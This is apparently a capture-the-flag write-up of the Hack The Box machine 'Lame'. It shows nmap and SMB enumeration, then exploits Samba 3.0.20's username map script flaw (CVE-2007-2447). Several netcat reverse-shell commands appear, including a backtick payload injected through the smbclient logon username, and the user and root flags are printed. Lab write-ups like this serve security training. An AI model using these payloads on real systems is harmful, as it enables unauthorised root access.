✅Lame

Network Enumeration with Nmap

export IP=

echo $IP

sudo nmap -Pn -n --disable-arp-ping $IP

• It looks like ports 21,22,139, and 445 are open

PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

sudo nmap -p21,22,139,445 -sV -sC $IP

• let's go ahead and scan these ports even further to enumerate their service version, using nmaps default scripts as well

PORT    STATE SERVICE     VERSION                                                                               
21/tcp  open  ftp         vsftpd 2.3.4                             
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)                                                          
| ftp-syst:                                                                                                     
|   STAT:                                                                                                       
| FTP server status:                                                                                            
|      Connected to 10.10.16.13                                                                                 
|      Logged in as ftp                                                                                                               
|      TYPE: ASCII                                                                                                                    
|      No session bandwidth limit                                                                               
|      Session timeout in seconds is 300                                                                                              
|      Control connection is plain text                                                                                               
|      Data connections will be plain text                                                                                            
|      vsFTPd 2.3.4 - secure, fast, stable                                                                                                           
|_End of status                                                                                                                                      
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)                                                                
| ssh-hostkey:                                          
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)                                                                                       
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)                                                                                                          
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)                                                                                                   
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)                                                                                               
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel                                                                                                          
                                                        
Host script results:                                               
|_clock-skew: mean: 6h00m14s, deviation: 2h49m50s, median: 4h00m08s                                             
| smb-security-mode:                                                                                            
|   account_used: guest                                            
|   authentication_level: user                                                                                                        
|   challenge_response: supported                                                                                                     
|_  message_signing: disabled (dangerous, but default)                    
| smb-os-discovery:                                                                                                                   
|   OS: Unix (Samba 3.0.20-Debian)                                                                                                    
|   Computer name: lame                                                                                                                              
|   NetBIOS computer name:                                                                                                                           
|   Domain name: hackthebox.gr                                                      
|   FQDN: lame.hackthebox.gr                                                        
|_  System time: 2024-04-12T16:06:51-04:00                                          
|_smb2-time: Protocol negotiation failed (SMB2)  

Footprinting

ftp-anon allowed

• ftp anonymous login is allowed but i am unable to list the files or put any files

ozzy@kali:~ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:ozzy): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||9522|).
150 Here comes the directory listing.
226 Directory send OK.
ftp> 

SMB Null Session

• We can also enumerate shares using smbclient and a null session

smbclient -N -L //10.10.10.3
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk      
        IPC$            IPC       IPC Service (lame server (Samba 3.0.20-Debian))
        ADMIN$          IPC       IPC Service (lame server (Samba 3.0.20-Debian))

• Using that null session we can also enumerate the tmp share, but we didn't find anything interesting

smbclient -U "" \\\\10.10.10.3\\tmp
Password for [WORKGROUP\]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Apr 12 16:53:49 2024
  ..                                 DR        0  Sat Oct 31 02:33:58 2020
  .ICE-unix                          DH        0  Fri Apr 12 16:49:58 2024
  5572.jsvc_up                        R        0  Fri Apr 12 16:51:00 2024
  vmware-root                        DR        0  Fri Apr 12 16:50:11 2024
  .X11-unix                          DH        0  Fri Apr 12 16:50:23 2024
  .X0-lock                           HR       11  Fri Apr 12 16:50:23 2024
  vgauthsvclog.txt.0                  R     1600  Fri Apr 12 16:49:57 2024

vsftpd 2.3.4 Backdoor Command Execution

• If we searchsploit the ftp service version it looks like a backdoor command execution exist for this specific ftp version

ozzy@kali:~$ searchsploit vsftpd 2.3.4
------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                |  Path
------------------------------------------------------------------------------ ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution                                     | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)  

• Let's go ahead and download the exploit and review the exploit code to see what this code does exactly

searchsploit -m 49757.py
  Exploit: vsftpd 2.3.4 - Backdoor Command Execution
      URL: https://www.exploit-db.com/exploits/49757
     Path: /usr/share/exploitdb/exploits/unix/remote/49757.py
    Codes: CVE-2011-2523
 Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/ozzy/49757.py

• Before trying out the exploit i read here(https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/) that the backdoor was removed July 3rd, 2011, so this no longer works. Turns out there is also a metasploit module, which also doesn't work, but for these writeups i will try to do all of these boxes without using metasploit in preparation for the OSCP.

Samba 3.0.20 'Username' map script Command Execution

• It looks like this version of samba is vulnerable to a command execution, there is a metasploit exploit module for it shown when we search it up using searchsploit

searchsploit Samba 3.0.20
------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                |  Path
------------------------------------------------------------------------------ ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass                        | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasplo | unix/remote/16320.rb

• But instead of using that for now, let's get a bit of more info and see how this exploit works(https://www.exploit-db.com/exploits/16320)

searchsploit -m 16320.rb
  Exploit: Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)
      URL: https://www.exploit-db.com/exploits/16320
     Path: /usr/share/exploitdb/exploits/unix/remote/16320.rb
    Codes: CVE-2007-2447, OSVDB-34700
 Verified: True
File Type: Ruby script, ASCII text
Copied to: /home/ozzy/16320.rb

• There is a portion of the ruby script/metasploit exploit that looks interesting

  • It looks like the username is /='nohup and a encoded payload is appended to that

def exploit

		connect

		# lol?
		username = "/=`nohup " + payload.encoded + "`"
		begin
			simple.client.negotiate(false)
			simple.client.session_setup_ntlmv1(username, rand_text(16), datastore['SMBDomain'], false)
		rescue ::Timeout::Error, XCEPT::LoginError
			# nothing, it either worked or it didn't ;)
		end

		handler
	end

Initial Foothold

Github Python Script

• We could have tried running the exploit module exploit/multi/samba/usermap_script

• But i also found this python exploit script on github https://github.com/Ziemni/CVE-2007-2447-in-Python which seems to work for this vulnerability

• Following the instructions on the github page we ran the exploit code:

nc -lvnp 4444

python3 smbExploit.py 10.10.10.3 139 'nc -e /bin/sh 10.10.16.13 4444'
[*] Sending the payload

python -c 'import pty; pty.spawn("/bin/sh")'
sh-3.2# whoami
whoami
root

sh-3.2# cd /home/makis

sh-3.2# ls
ls
user.txt

sh-3.2# cat user.txt
4abf088166f46fa3a79a0f9dea0047f5

sh-3.2# cat /root/root.txt
cat /root/root.txt
ca164997d93dc0a1218c6663b60339cb

Manually using smbclient

• given what the metasploit exploit module is trying to do we can try to emulate what the script did above using smbclient

• First we login to the smbclient using a null session

smbclient -U "" \\\\10.10.10.3\\tmp

• Then we can use the logon functionality to include our reverse shell payload while we setup a nc listener ourselves

nc -lvnp 4444

smb: \> logon "./=`nohup nc -e /bin/sh 10.10.16.13 4444`"
Password: (Press Enter)

ozzy@kali:~$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.13] from (UNKNOWN) [10.10.10.3] 39165
id
uid=0(root) gid=0(root)
whoami
root

PrivEsc

• No privesc needed here